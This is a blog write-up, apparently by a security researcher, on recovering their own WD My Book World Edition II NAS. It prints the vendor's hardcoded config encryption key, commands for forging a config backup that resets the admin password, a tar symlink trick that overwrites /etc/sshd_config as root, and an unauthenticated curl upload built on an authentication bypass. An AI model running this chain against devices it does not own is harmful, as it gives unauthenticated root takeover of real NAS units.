I got my WD My Book World Edition II NAS out of the closet. The reason it went in the closet is that I locked myself out of SSH access, and in the meantime I forgot most of its passwords.

Still, I need a NAS, so let's get it back in working order. One could just perform a full reset, but what's the fun in that?

Chapter I. Config backup.

I miraculously still remember the password to my regular user, but the admin password is nowhere to be found and you need the old one to change it. So I start poking around to see if there is any way to recover it.

Useless password reset form

One of the most common vulnerabilities on these thingies is allowing anyone to download a "config backup" that includes all the juicy passwords, and indeed, this screen looks promising:

Restore configuration

But it's not that boring! Here's how the dowloaded file - named, weirdly, config-BookSottile.20150208122310.xml - looks like:


A "challenge accepted" tweet and my colleague at CloudFlare Daniel joined me.

Daniel is on

So this looks like base64, but what's the deal with the curly brackets? They're not balanced, so they probably don't have lexical meaning:

#!/usr/bin/env python3

import sys

op, cl = 0, 0
for ch in sys.stdin.read():
    if ch == '{': op += 1
    if ch == '}': cl += 1
print(op, cl)
152 180

The base64 charset is composed of upper-lower alpha-number PLUS two characters, usually + and /. Apparently here { and } are used instead.

So we know how to decode that!

#!/usr/bin/env python3

import base64, sys

res = base64.b64decode(sys.stdin.read(), '{}')

The result? Random gibberish. How random? A lot, according to binwalk.

➜  NAS  binwalk -E base.debased

0             0x0             0.974186
1024          0x400           0.974860
2048          0x800           0.973665
3072          0xC00           0.976039
4096          0x1000          0.976725
5120          0x1400          0.975928
6144          0x1800          0.976379
7168          0x1C00          0.964294

Other interesting things:

  • the last line is always whole and without trailing = (padding!)
  • every time I re-download this the whole file changes

Random + always different + padded = (well) encrypted. Nice.

If only we had SSH access we could snoop at what process does the decryption. But I locked myself out of that. We have to hope for a hardcoded key.

At this point I'm getting ready to binwalk the hell out of the firmware while Daniel goes "hey, I'm gonna check the GPL sources...".

Mandatory Open Source releases usually have LICENSE files or some other indication of what libraries are being used, so he's hoping to find some clue on what they used. (ProTip!)

Well, by the time I had installed binwalk he had the sources. Not just, say, the kernel. All the sources.

Source tree

Why WD published everything? We have no idea. I mean, there's a file called aaa with a VCS log in there!

revision 1.33
date: 2007/06/14 07:27:19;  author: wiley;  state: Exp;  lines: +4 -4
revision 1.32
date: 2006/11/29 02:26:49;  author: wiley;  state: Exp;  lines: +2 -2
branches:  1.32.2;  1.32.4;
add help
revision 1.31
date: 2006/11/09 01:43:41;  author: wiley;  state: Exp;  lines: +2 -2
add target, such as share name, user name, in successful message after submit
revision 1.30
date: 2006/11/07 09:37:58;  author: wiley;  state: Exp;  lines: +2 -3

Anyway, from here it's downhill. And horrible. And hilarious.




$key  = __CODEX_KEY__;
$file = 'config.xml';


@copy($webHooks->conf_file, "$file");
@system("/usr/bin/md5sum \"$file\" >\"$file.md5\"");
@system("/bin/tar cf \"$file.tar\" \"$file\" \"$file.md5\"");
@system("/usr/bin/encodex -k=\"$key\" \"$file.tar\" \"$file.xtx\"");

$fn = 'config-' . htmlspecialchars($webHooks->conf['machinename']) . '.' . date('YmdHis') . '.xml';
$fs = filesize("$file.xtx");
header('Content-Type: application/octet-stream');
header("Content-Disposition: attachment; filename=$fn");
header("Content-Length: $fs");



define ('__CODEX_KEY__', 'Nj1e2w0a0b');

Looks like it's a tarball encrypted with something called encodex and a fixed password, let's see if... Yep, there it is.

➜  NAS  tree WD-MyBookWorld-v1.02.12-GPL/sources/package/codex/codex-0.1
├── base64.c
├── blowfish.c
├── cline.c
├── compr.c
├── crc32.c
├── decodex.c
├── encodex.c
├── endian.c
├── errexit.c
├── md5.c
├── rand32.c
├── randbyte.c
├── textectest.xtx
└── toolbox.h

0 directories, 14 files

Here are the two main files. The encryption might actually be solid.

So we just compile the decodex tool, run it on the "xml" backup with the fixed key, get a tarball, extract the tarball, and...

➜  NAS  gcc WD-MyBookWorld-v1.02.12-GPL/sources/package/codex/codex-0.1/decodex.c -D_POSIX_SOURCE -o decodex -w
➜  NAS  ./decodex -k="Nj1e2w0a0b" config.xml config.tar
./decodex: decrypt text in textec format.
Step 0: Reading 10465 bytes from config.xml
Step 1: Decoding64 raw input 10465 bytes
Step 2: Decrypting 7685 bytes
Step 3: Decompressing 7669 bytes
Step 4: Writing 20480 bytes to config.tar
➜  NAS  tar xvf config.tar
x config.xml
x config.xml.md5
➜  NAS  cat config.xml.md5
f54b920e3b2cbb13f171448ac6f4597c  config.xml
➜  NAS  gmd5sum config.xml
f54b920e3b2cbb13f171448ac6f4597c  config.xml

Chapter II. Password reset.

So we got the config file. Is it over? Nope. No passwords in it. This system does everything wrong, except maybe this. (Well, it's unsalted MD5, but still better than the rest.)

        <smbac>[U          ]</smbac>

Let's go back for a moment to the "change admin password" screen - we now have the source! - to see how it's stored. (Ignore the fact that they base64 it, I have no idea.)


function onSubmit() {
  document.setup_form.oldpasswd.value = Base64.encode(document.setup_form.oldpasswd.value);
  document.setup_form.webpasswd.value = Base64.encode(document.setup_form.webpasswd.value);
  document.setup_form.webpasswdcheck.value = Base64.encode(document.setup_form.webpasswdcheck.value);


  $new_oldpasswd      = base64_decode($_POST['oldpasswd']);
  $new_webpasswd      = base64_decode($_POST['webpasswd']);
  $new_webpasswdcheck = base64_decode($_POST['webpasswdcheck']);


    if (!$webHooks->ChangeWebAdmin($new_oldpasswd, $new_webpasswd)) {
      $message = $webHooks->GetErrMsg();


   * Setup the password for web administrator.
   * @param string $old_passwd
   * @param string $new_passwd
  function ChangeWebAdmin($old_passwd, $new_passwd, $check_old_passwd = TRUE){
    // ======================================================
    // Semaphore
    if(!obtain_semaphore()) {
      return error_semaphore_msg($this->message);
    // ======================================================
    $haObj = new wixHTTPAccess();
    $admin = $this->sys_var['webui_admin'];

    // do not allowed empty string for new password
    if ($new_passwd == '') {
      $this->message[] = $this->lang['hooks']['errmsg'][4];
      return FALSE;

    $this->message[] = $this->lang['hooks']['errmsg'][6];
    // .htusers.conf   => $this->conf['access']['users']['nasuser'][admin_index]['htusers']
    // smbpasswd       => $this->conf['access']['users']['nasuser'][admin_index]['smblan']
    //                    $this->conf['access']['users']['nasuser'][admin_index]['smbnt']
    //                    $this->conf['access']['users']['nasuser'][admin_index]['smbac']
    //                    $this->conf['access']['users']['nasuser'][admin_index]['smblt']
    // passwd          => $this->conf['access']['users']['nasuser'][admin_index]['passwd']

    if (($admin_index = $this->is_user_existed($admin)) === FALSE) {
      return FALSE;
    } else if ($check_old_passwd) {
      // match between password from input and password from system
      if ($old_passwd == '' ||
            md5(stripslashes($old_passwd)) != $this->conf['access']['users']['nasuser'][$admin_index]['htusers']) {
        $this->message[] = $this->lang['hooks']['errmsg'][5];
        return FALSE;

    /******** START TO BACKUP ********/
    $rollbackObj = new wixRollBack();

    // for .htusers.conf
    $new_md5_passwd        = md5(stripslashes($new_passwd));
    $orig_http_user_config = $haObj->orig_user_config();
    $http_user_config      = $orig_http_user_config;
    $this->conf['access']['users']['nasuser'][$admin_index]['htusers'] = md5(stripslashes($new_passwd));
    if (($http_user_config =
                                           TRUE)) === FALSE) {
      return FALSE;
    } else {
      if (!$haObj->UpdateHTTPAccessUserConf($http_user_config)) {
        return FALSE;

    // for smbpasswd
    $descriptorspec = array(0 => array('pipe', 'r'),
                            1 => array('pipe', 'w'),
                            2 => array('file', '/dev/null', 'w'));

    $command = "/usr/bin/smbpasswd -as $admin"; // using stdin
    $process = proc_open($command, $descriptorspec, $pipes);

    if (is_resource($process)) {

      $retval = proc_close($process);
      if (!is_numeric($retval) || $retval != 0) {
        return FALSE;
      } else {
        @exec("/bin/grep \"$admin:\" /usr/private/smbpasswd", $output);
        $field = explode(':', $output[0]);
        $this->conf['access']['users']['nasuser'][$admin_index]['smblan']= $field[2];
        $this->conf['access']['users']['nasuser'][$admin_index]['smbnt'] = $field[3];
        $this->conf['access']['users']['nasuser'][$admin_index]['smbac'] = $field[4];
        $this->conf['access']['users']['nasuser'][$admin_index]['smblt'] = $field[5];

    // for passwd in /etc
    @system("/bin/echo \"$new_passwd\" | /usr/bin/passwd --stdin $admin >/dev/null 2>&1", $retval);
    if (!is_numeric($retval) || $retval != 0) {
      return FALSE;
    } else {
      @exec("/bin/grep \"$admin:\" /etc/shadow | /usr/bin/cut -d : -f 2", $output);
      $this->conf['access']['users']['nasuser'][$admin_index]['passwd'] = $output[0];

    $GLOBALS['__SESSION']["s_pass"] = $new_md5_passwd;
    return $this->__write_config();

So yeah, it's md5(stripslashes($new_passwd)) and there's a check for md5(stripslashes($old_passwd)) != $this->conf['access']['users']['nasuser'][$admin_index]['htusers'].

Well, we might try to crack it, but what's the need when we can just patch the config file? :)

We can change the hash in the xml, repackage it, encrypt it and upload it for a "config restore"!

Let's follow the process we used above in reverse (this is the short version - in real life I created half a dozen borked payloads, and Daniel corrected me as many times):

➜  NAS  echo -n password | gmd5sum
5f4dcc3b5aa765d61d8327deb882cf99  -
➜  NAS  sed -i .bak 's/21ba0c86fe368810c3a38186a4d05ecc/5f4dcc3b5aa765d61d8327deb882cf99/' config.xml
➜  NAS  diff config.xml config.xml.bak
<         <htusers>5f4dcc3b5aa765d61d8327deb882cf99</htusers>
>         <htusers>21ba0c86fe368810c3a38186a4d05ecc</htusers>
➜  NAS  gmd5sum config.xml > config.xml.md5
➜  NAS  gtar -cf config.tar config.xml config.xml.md5
➜  NAS  ../encodex -k="Nj1e2w0a0b" config.tar payload.xml
../encodex: encrypt text in textec format.
Step 0: Reading 20480 bytes from config.tar
Step 1: Compresing 20480 bytes ... to 7699
Step 2: Encrypting 7700 bytes, IV: 59844070 2e1ee04a
Step 3: Encoding64 7716 bytes
Step 4: Writing 10465 bytes to payload.xml

We upload payload.xml as a config restore, watch the reboot happen, cross our fingers and... login with admin/password! :D

Now we can reset the admin password properly to make the change propagate fully.

Great. Fun. Is it enough? No! I locked myself out of ssh access too, by adding an unmatchable AllowUsers directive to my sshd_config.

So what we need is to overwrite /etc/sshd_config, owned by root. We're getting serious.

We can recover the original sshd_config from the distribution and patches we find conveniently in sources/package/.

First realization, the whole webgui runs as root. Look at ChangeWebAdmin above, it calls passwd and reads /etc/shadow!

Good, and we know we can get it to untar our arbitrary archives. Here's a close-up of where it happens:


  if ($new_submit_type == 'downloadconfig') {
  } else if ($new_submit_type == 'restoreconfiggeneral' || $new_submit_type == 'restoreconfigfull') {
  	if($_FILES['conffile']['type'] != 'text/xml' && $_FILES['conffile']['type'] != 'application/xml') {
				$message[] = htmlspecialchars($lang['system']['errmsg'][8]);
		} else {
		  $pwd = getcwd();


      move_uploaded_file($_FILES['conffile']['tmp_name'], '/tmp/.uploadconfig.xml.xtx');

      // decode
      @system('/usr/bin/decodex -k="'.__CODEX_KEY__.'" "/tmp/.uploadconfig.xml.xtx" "/tmp/.uploadconfig.xml.tar" >/dev/null 2>&1', $retval_decode);

      // untar
      @system('/bin/tar -xf "/tmp/.uploadconfig.xml.tar" >/dev/null 2>&1', $retval_untar);

      // md5 check
      @system('/usr/bin/md5sum -c "config.xml.md5" >/dev/null 2>&1', $retval_md5);

      if ($retval_decode == 0 && $retval_untar == 0 && $retval_md5 == 0) {
        @copy('/tmp/config.xml', '/tmp/.uploadconfig.xml');
        if(!($upload_conf = $xmlObj->ParseXML('/tmp/.uploadconfig.xml', 'wixnas'))) {
				  $message[] = htmlspecialchars($lang['system']['errmsg'][9]);
      } else {
        $message[] = htmlspecialchars($lang['system']['errmsg'][8]);

That plus the fact that it's probably a BusyBox implementation of tar might mean that the oldest trick in the book works: creating an archive with a fully-qualified /etc/sshd_config file in it and hope it gets extracted directly at the absolute path.

➜  NAS  gtar -c --transform 's,^,/etc/,' --numeric-owner -f bomb.tar -v sshd_config
➜  NAS  gtar -tvf bomb.tar
-rw-r--r-- 0/0            2862 2015-02-08 15:56 /etc/sshd_config
➜  NAS  ../encodex -k="Nj1e2w0a0b" bomb.tar bomb.xml
../encodex: encrypt text in textec format.
Step 0: Reading 10240 bytes from bomb.tar
Step 1: Compresing 10240 bytes ... to 2889
Step 2: Encrypting 2890 bytes, IV: 56e08c81   1a8084
Step 3: Encoding64 2906 bytes
Step 4: Writing 3965 bytes to bomb.xml

We upload bomb.xml, get an error as we would expect (no config.xml inside the tarball) and give it a try...

sshd[3462]: User root not allowed because not listed in AllowUsers

No luck. Second try: we see that it's extracted in /tmp, what if we call it ../etc/sshd_config? No luck with that neither.

But hey... we can extract as much as we want in /tmp and nothing will get deleted between a run and the next! So let's try with a convenient symlink :)

First we plant a root => / symlink by uploading this:

➜  NAS  ln -s / root
➜  NAS  gtar -c -f root.tar root
➜  NAS  gtar -tvf root.tar
lrwxr-xr-x filippo/staff     0 2015-02-12 04:05 root -> /
➜  NAS  ../encodex -k="Nj1e2w0a0b" root.tar root.xml

And now that /tmp/root points to / we try calling our file root/etc/sshd_config and hope it gets extracted inside the symlink:

➜  NAS  gtar -c --transform 's,^,root/etc/,' --numeric-owner -f bomb.tar -v sshd_config
➜  NAS  gtar -tvf bomb.tar
-rw-r--r-- 0/0            2862 2015-02-08 15:56 root/etc/sshd_config
➜  NAS  ../encodex -k="Nj1e2w0a0b" bomb.tar bomb.xml

Drum roll...

➜  NAS  ssh root@
root@'s password:

~ #


Chapter IV. Unauthenticated.

This is all nice, but I started from a vantage point: I remembered a user login. Can we do something from scratch?

For example, extracting the config... It didn't look like that PHP file had any access control, is it possible that... Oh God.

➜  NAS  curl

If we can crack any user password from the MD5, we can go from zero to root with the above.

BUT IT'S NOT ALL! As I discovered after locking myself out AGAIN somehow[1] (This thing hates me. And it has its reason.)

All actions are actually unauthenticated. If you are not logged in the NAS will answer with a HTTP 302 Redirect... AND THEN PROCEED HANDLING THE REQUEST and sending the output. As if you were logged in. That's a first for me.

Let me repeat this: if you are not logged in, the only thing the system will do is add a redirect to the login page in the HTTP Headers and carry on, obeying whatever you are telling it to do.

So with the admin password reset trick above, we can get a full escalation from unauth to admin+root. Pwn'd. (The hardest thing was emulating the browser request with curl well enough to upload the file.)

➜  AGAIN  curl -i -k -F submit_type=restoreconfiggeneral -F conffile='@payload.xml;type=text/xml' | diff -u system_config_manage.php.log -
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10581    0     0  100 10581      0   2127  0:00:04  0:00:04 --:--:--  2127curl: (56) SSLRead() return error -9806
--- system_config_manage.php.log    2015-02-10 03:05:39.000000000 +0000
+++ -   2015-02-10 03:21:56.000000000 +0000
@@ -1,11 +1,13 @@
 HTTP/1.0 302 Found
 Status: 302
 X-Powered-By: PHP/4.4.2
-Set-Cookie: PHPSESSID=6d2b75211da896da5575c2307ce1e799; path=/
+Set-Cookie: PHPSESSID=5f352d9c5a00441803be9a6c457f45ab; path=/
 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
 Pragma: no-cache
+Set-Cookie: info_type=SUCCESS
+Set-Cookie: message=Please+wait+.....%26nbsp%3B%3Cspan+id%3D%22theTime%22+class%3D%22timeClass%22%3E1%3A00%3C%2Fspan%3E%3Cscript%3Ecd%28%221%22%2C%2201%22%29%3C%2Fscript%3E
+Location: system_config_manage.php?lang=en
 Content-type: text/html

@@ -224,6 +226,15 @@
 <form action="/admin/system_config_manage.php?lang=en" method="post" name="setup_form" id="setup_form" enctype="multipart/form-data" onSubmit="return confirmSubmit();">
 <input name="submit_type" type="hidden" id="submit_type" value="">
 <input name="upload_path" type="hidden" id="upload_path" value="">
+<span id="span_rtnMessage"><table cellpadding="0" cellspacing="0" class="tbMessage"><tr><td>
+   <div class="column span-13 prepend-3 append-2 last" id="rtnMessage">
+       <div class="msg">
+           <ul class="ok" style="padding-left: 5px; padding-top: 5px; padding-bottom: 5px;">
+               <h2>Please wait .....&nbsp;<span id="theTime" class="timeClass">1:00</span><script>cd("1","01")</script></h2>
+           </ul>
+       </div>
+   </div>
 <table cellpadding="0" cellspacing="0" class="tbSetup">
     <td colspan="2" class="listtopic">

(Or just use any MitM tool to turn 302 into 200 and use your browser as if you were logged in. Or anything really, everything is unauthenticated and you have the source. ᕕ(ᐛ)ᕗ)


So yeah, don't expose these thingies on the Internet and don't worry too much if you lose the passwords ;-)

Ah, you might want to follow me on Twitter at this point.

  1. Turns out all the password fields except the login form have maxlength=16, so when resetting the password I pasted it from the password manager and it got cut without me knowing. ╯‵Д′)╯彡┻━┻ ↩︎